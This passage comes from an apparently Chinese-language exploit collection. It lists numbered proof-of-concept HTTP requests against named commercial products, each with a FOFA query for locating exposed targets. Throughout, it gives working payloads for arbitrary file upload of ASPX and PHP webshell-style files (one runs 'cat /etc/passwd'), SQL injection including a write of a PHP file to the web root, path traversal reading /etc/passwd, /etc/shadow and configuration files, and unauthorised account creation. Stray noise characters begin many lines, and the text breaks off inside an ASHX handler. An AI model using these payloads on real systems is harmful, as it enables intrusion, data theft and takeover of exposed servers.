( l: }( t) p4 S8 Y6 F6 `) p; HFOFA：body="/KT_Css/qd_defaul.css"
# z/ h9 U5 O4 m( c- H2 A: ?第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
" K% B0 v) x3 O7 x# n7 v- |POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
3 F) M4 b5 j% u& Y" kContent-Type: text/xml
7 N7 z5 k* j2 F( Q3 |" DAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
, `) E' a2 \. h8 m; a/ ^<soap:Envelope xmlns:xsi="
& y6 G9 r3 K9 N( ~  W" @  w  k  l! w" khttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
; I+ }6 f& i5 p9 n0 _8 ^xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
3 o, ~1 C/ m5 v<soap:Body>
2 a- A$ O  m9 ^. ~<UploadResume xmlns="http://tempuri.org/">
/ a8 @. j8 I  K- x# n/ k) n; ~<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
, L/ r* i- y& x& j5 {9 F<tag>3</tag>
% U' T" L9 r- k# P</UploadResume>
" d- D4 t8 Y4 y8 K) h1 u</soap:Body>
" c, Y& h% {' ^</soap:Envelope>
+ `/ M4 d. X0 E! ^2 B! u
. a8 e( I% n8 ^1 @( G$ C
5 {3 g4 l3 Q! ]http://x.x.x.x/dizxdell.aspx

162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
. I7 M! p! X( @Host: x.x.x.x
& f$ C. P9 i% x. ~4 v  D1 W; L1 t3 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
: T1 q; o& ~+ {7 E% eConnection: close
Content-Length: 583
% J1 }: L8 P& O/ bContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip
% r! X0 z; {) U7 e5 z
------WebKitFormBoundaryeegvclmyurlotuey
" n- z6 e; X. [- CContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
" v- q& w" u) F1 i1 o, F# b0 i' tContent-Type: application/octet-stream

, \, r( Q: ~# C4 n1 R7 @* f6 a. a: F<% response.write("ujidwqfuuqjalgkvrpqy") %>
$ `( T, @2 L) D; S# b- y, A* T------WebKitFormBoundaryeegvclmyurlotuey
1 W  L; w+ Y% u9 O. P6 a- ?Content-Disposition: form-data; name="action"

) k7 {6 Y6 l: C+ kupload
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"

ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
- q4 ~: _' ]: V. `: B* GContent-Disposition: form-data; name="remotePath"

/opt/resources
6 v( ?4 g0 S7 u4 d0 H% ~% @4 C------WebKitFormBoundaryeegvclmyurlotuey--

- K8 V/ t+ h1 X' \* k: y/ ~8 l
http://x.x.x.x/opt/resources/kjuhitjgk.aspx

/ r, A) p/ Y4 O$ ?163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
% N5 B3 O% M4 w2 t; Y& k9 N7 _; JFOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
) K# q) i: A. s: {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 293
. F8 i* I0 f4 q" O6 V6 J* mAccept: */*
Accept-Encoding: gzip, deflate
- U  t6 P" P/ L  U4 qAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

  j6 U; P% l+ Q* o* `- ~+ }------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

1.php
- j* v6 `0 W9 O------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
1 i( m- t% q2 BContent-Type: image/jpeg
) o9 i0 ~  F% K+ J* P* D, K
rvjhvbhwwuooyiioxega
" Q( ~4 N% u2 C# B7 E# _+ {$ O------iiqvnofupvhdyrcoqyuujyetjvqgocod--


% ?6 p0 ~0 o9 R2 m7 v5 ^/ b5 u164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
# g! k# E. H! l( C7 C! fFOFA: title="智慧综合管理平台登入"
& F6 K# |9 w! m9 dPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
/ `. j3 m7 e% k  N2 w  l1 S2 h: cHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
, W% |9 g% U# @- _Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
4 g+ S" _7 R- bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
, c8 I) i. S) A$ ^" g* @Connection: close
) v" ]4 x% t, W. b, pContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

------dqdaieopnozbkapjacdbdthlvtlyl
+ m0 E9 v) U, T2 T4 y" |Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
* l) P! E7 \2 }4 K0 iContent-Type: image/jpeg

( ?/ G9 o! Q* `, S& n, u' G<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
! Y# ^7 O  @& O0 L) H  l------dqdaieopnozbkapjacdbdthlvtlyl--
. X& A  J0 v, j0 w
) ]1 [  d! x: x# Z0 U
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

  n$ X! N: `$ R: {; t165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))


( E* t/ b1 G. \& C166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
2 t: |6 b/ \& X& X% N8 z3 ~8 SPragma: no-cache
/ D0 f6 y  _$ V& |Cache-Control: no-cache
/ k; l! ?. _# c! y' DUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
+ \# o- ~( m* _% Q8 {& H' o6 E; n/ FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
! z: |1 n. m" W) }3 M' hCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
0 v& `! f3 L; Y% C1 G% {& k2 lContent-Type: application/x-www-form-urlencoded
Content-Length: 89
6 f$ @5 h9 G1 H! t' m: D
2 C  W1 R  T: y) q9 ]Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
* |' r' k% W+ g7 J2 ~5 M

  Y% b# ^6 E  C167. 精益价值管理系统 DownLoad.aspx任意文件读取
+ u+ V, F8 F; e! Y1 c$ ^9 sFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
, K" v- i0 b# l( z% s7 Y  wHost:
' E, z" X3 m$ b$ A: v: qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ {* w$ A: I" p9 XContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

  K& G+ P! o2 c* m2 z4 X; E/ N' ]
8 O; N: C! C0 M1 X1 K2 R168. 宏景EHR OutputCode 任意文件读取
. x, n: E6 a" _1 W. E8 ]# KFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
& [* }3 Z; s  ?' q. a- }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
# x2 K, i$ e3 XContent-Type: application/x-www-form-urlencoded
Connection: close
1 a/ q: m! ^7 y/ G9 [
: T7 H0 l' d" w' ~
/ E+ Y& l5 u, g8 D5 X- _) C
% r' R8 H1 n7 g% j% O3 O! z8 ?169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
5 B5 \( K0 s- n9 }# CGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
# g4 }0 T8 E7 c& }$ [Host: your-ip
; h& h$ t, a9 W' c% c5 d, AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 {2 T) Z$ n4 T' j! h) [# ~Accept: */*
Accept-Encoding: gzip, deflate
) h5 F# Y+ U4 A# h) A7 SConnection: close
* m3 M+ F8 X6 J$ G8 ]9 r
( Z% [! o1 r% _6 {& ?% v

" Z6 g& M% j- Y$ `. a4 c/ O170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml
& a  P/ @3 a7 C8 @

' a& J8 r( I# i7 A4 w, C171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
) `, y/ k) S8 bGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
, t& V- h  c6 c: GHost: your-ip
9 p2 M' V- c+ u8 F2 I( B" YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
! u$ x( z( y0 k9 s4 M7 o! f6 vConnection: close
5 _7 R5 k5 K& }. o5 {) a

+ O/ L4 ?/ a8 H* M8 {' Y' `0 O
& H& Y0 t5 E: m# Y1 x( b172. DT-高清车牌识别摄像机任意文件读取
* p3 q, v9 B: r0 bFOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
, t4 q( Y& U; b0 N5 b% S1 XAccept-Encoding: gzip, deflate
$ z0 P8 Z+ P4 ]. uAccept: */*
Connection: keep-alive



# F' S& C$ k1 P- K173. Check Point 安全网关任意文件读取
CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
; t, `! E$ Z4 E  `- {- {POST /clients/MyCRL HTTP/1.1
' R3 `* h/ d% S) C% y9 n: F5 ^& mHost: your-ip
0 G& t4 C" p% x* wContent-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow
* _2 C' S1 d- e: S6 v+ m
  l& r" v, w/ ^# w

: z. n) d& U  p- F0 P4 r174. 金和OA C6 FileDownLoad.aspx 任意文件读取
: ?8 Z7 j$ s9 r( \0 ~4 dFOFA：app="金和网络-金和OA"
  G5 C+ a+ Q( o, s4 ?6 K" tGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( G3 N# L; G0 v+ j8 aAccept-Encoding: gzip, deflate, br
" b" Z8 K2 L8 s  X$ a* P9 |Accept-Language: zh-CN,zh;q=0.9
$ e  B4 k8 |$ K$ l+ uConnection: close
' s) Y. s, V  d; m7 h0 [1 J# V* w' ?2 N

5 R; y6 W( l1 \% @
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
7 d" x) o( D$ x' LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' K, D$ |8 m- ?4 SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ }! X  n& \8 X2 VAccept-Encoding: gzip, deflate
Connection: close
% A' }' a5 H1 _$ lUpgrade-Insecure-Requests: 1


; R3 ?  q: i1 C176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
6 l: R0 Y, o; w8 ]0 `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

0 x- C+ Q, P  @, o1 ~------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

  p% N. ^  W2 u8 g& _3 r( m1 m4 ]<?php system("cat /etc/passwd");unlink(__FILE__);?>
) ]2 p$ ?4 }% H1 g! {8 Q------WebKitFormBoundaryOKldnDPT
" V# n8 r8 X) OContent-Disposition: form-data; name="uploadtime"


------WebKitFormBoundaryOKldnDPT--
4 ]5 Y' L1 u% P4 c5 l6 T


: ^; m" W7 {& g  Q. {, L) u177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
' r; {/ |2 E2 W1 Y/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
' U: u7 l+ Y, d4 \/ Z, x0 W$ a& d/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/ @# j; T7 @- ~) V& f+ q/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
  ~0 V  V( a- p/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
7 f5 ?, Z0 U9 L2 \9 A8 T6 U/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
, B7 A3 L. b& S$ x/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
8 }0 A+ u  }; O

! c1 Z. t( h' u% W178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
$ F9 V" v' u9 h- gHost:
; Z5 |* d1 {. E; V* `% gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
8 T) ]2 v" H) h; DAccept-Encoding: gzip, deflate
0 @( @/ n3 L) a0 H9 qConnection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
1 o* K  a- ^( ]! u2 N' B9 l! aContent-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
9 A% x0 N( F* B3 E/ tContent-Length: 255

) a) v4 I: |+ P% d12234
5 n; E6 E' V+ {-----------------aqutkea7vvanpqy3rh2l--
, P/ w8 |7 ]7 ?: Q

' F# y9 P2 R- ^$ vGET /imc/primepush/%2e%2e/flex/12234.txt
9 `! P' y. i! i# ^
7 v8 W$ m, H5 z4 e( K: c
179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
4 X$ m3 R' p9 }; }; jContent-Type: application/x-www-form-urlencoded
# |1 V4 F2 w: w! h) G( z# GUser-Agent: Mozilla/5.0
! n( w* ^: I; X( s, Z) _. p
path=../log4net.config&Name=

+ }6 V' m$ A% [. p. E" W$ S
180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
: n8 w: x5 s3 M; q7 b- Q  iGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
* v5 p( o6 r2 D1 ~* w) ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 e! V5 B7 y. z0 R, Y: oAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
5 }8 m" |* k- j6 ?Connection: close
9 F5 w( R2 V& ~, p

  f' r6 N0 j/ `+ P! W$ i181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
2 B1 I9 o9 d3 R/ o$ f& f1 ]) @Host: your-ip
3 k  P5 {9 m; c% s7 r3 dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 G# a/ b( u2 z2 X# S; wAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
  a* N7 L# P, d  f; M/ r( EConnection: close
Content-Type: application/x-www-form-urlencoded

" p# X7 D6 T; F5 q$ q/ H
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
* G7 o8 ]& U: w# H4 ^# u3 D

182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
: g& N6 y! n5 u- u* A) u& ^. }2 u: B6 ?FOFA："PDCA/js/_publicCom.js"
, P4 v5 M! @: I" J% lPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
+ n+ t/ o7 v0 L6 U$ _Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
9 a7 n# @) j3 w4 b, ]6 r# nAccept-Language: zh-CN,zh;q=0.9
; V) J+ F. y7 C0 `$ v' yConnection: close
! ~2 P% U% ~1 x) WContent-Type: application/x-www-form-urlencoded
* P/ Y3 v0 V0 \, m

username=test1234&pwd=test1234&savedays=1
& a6 M3 T8 A7 m
. W, {) l* H! G
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
0 a. m4 B6 ~+ w& w4 d5 {FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
+ |3 c+ f/ A7 [. L& w% D4 hGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
5 ?: B7 Q, A" p  JUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

  o+ c, Y! l5 F  g, s' `# \
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
$ v  \1 L1 ~0 ^  p) N& U% RFOFA：server="SunFull-Webs"
- B- v: L  M5 S$ _& b! @* o* aPOST /soap/AddUser HTTP/1.1
( ?' c- e3 r- J7 YHost: your-ip
. m  F  _5 l: R1 j% vAccept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
. _# [' q& g- c+ \, W9 z; aAccept: application/xml, text/xml, */*; q=0.01
0 B- o% I1 t- c9 o& `Content-Type: text/xml; charset=utf-8
: q% W3 z% z3 I# CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% e, Y' G5 K- E4 L7 n9 GX-Requested-With: XMLHttpRequest


9 B/ _5 y/ i& c3 v4 `4 G* A& ?insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

' n5 R3 @0 @6 V: R) w) |4 M7 H8 `
185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
" a, L& i8 V* ~3 nGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host


) m* l1 J5 H* ]! F7 ^- ?186. F-logic DataCube3 SQL注入
CVE-2024-31750
& B+ t9 v; {& [3 iF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
/ u! t  Q1 @! t& \1 r7 yPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
$ L! R% q+ x5 a# G2 T# V1 X4 ~' jHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
1 Y8 G1 a: m. f0 s( K
- {4 r0 s8 A! a: N& {req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
2 m3 C. h# s6 |  b# ]FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded


object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
- x- g0 V9 `% Q, ?* C7 n

9 ]7 s( W3 F4 C188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
" X* o+ Q: y% ^, @1 J+ AFOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
' O+ P! _4 ~+ `5 u% e. PHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
: T& A. E/ z7 F3 H/ B* tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, z# e* e" \: q: {! r! eAccept-Encoding: gzip, deflate
) H8 Z8 U9 l1 u; S6 ^( b% e5 yAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

* F, N0 v9 ~( [$ g. K5 W( j8 h  e
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
; E6 d# ]6 D) h7 k2 i$ e; hHost: your-ip
; z7 R- w4 K6 q% `, w. LUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
* A" B: f: l& l6 i! OAccept-Language: zh-CN,zh;q=0.9
Connection: close
1 U$ b" H. s+ k* j& u# V

. ^' }# ^- D3 I; E9 A) Q; d' e( H& E) [190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
  o6 s7 v8 \' ZHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
) Y, w- o( _& I3 U  g6 QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
5 [% c/ e% ^7 l5 E- z" F0 hContent-Type: application/x-www-form-urlencoded
6 y) ~8 Q! p4 V. QAccept-Encoding: gzip, deflate
0 K2 t. K( _8 J5 g: @! Z" l. oAccept-Language: zh-CN,zh;q=0.9
  y3 e/ _; P1 N
poi=file:///etc/passwd


191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
" Z) W# N  R% mFOFA：body="/CDGServer3/index.jsp"
, e; c$ p( C1 r0 z  `5 p5 jPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
$ {9 E' J8 j8 HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
& B5 a3 s( z1 P9 j: I% b6 T

6 g. Y2 |  `5 P192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
7 K2 W( h* @9 M$ ^8 h/ N) w- _# `1 KFOFA：title="用户登录_富通天下外贸ERP"
  A: w) ^* Y" {+ U: v* }/ UPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
! I* P- g7 q, l/ w6 i" HHost: your-ip
8 v& i3 q; e' _1 S. l8 UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
8 G" `5 _$ N3 Y/ u1 z3 EContent-Type: application/x-www-form-urlencoded

* x3 _# Z8 L; L4 m. `9 x
<% @ webhandler language="C#" class="AverageHandler" %>
using System;
: K6 |( x8 b" cusing System.Web;
/ [+ h' n4 V" A: B+ `public class AverageHandler : IHttpHandler
$ ~5 _# g0 @8 d{
/ _0 e6 E8 |' H* a; F6 jpublic bool IsReusable
, J; n# y; M! E- N{ get { return true; } }
+ O2 Q4 u, Q- R5 npublic void ProcessRequest(HttpContext ctx)
3 h4 P% x4 J# ?# Y+ N& v  M9 v: o{
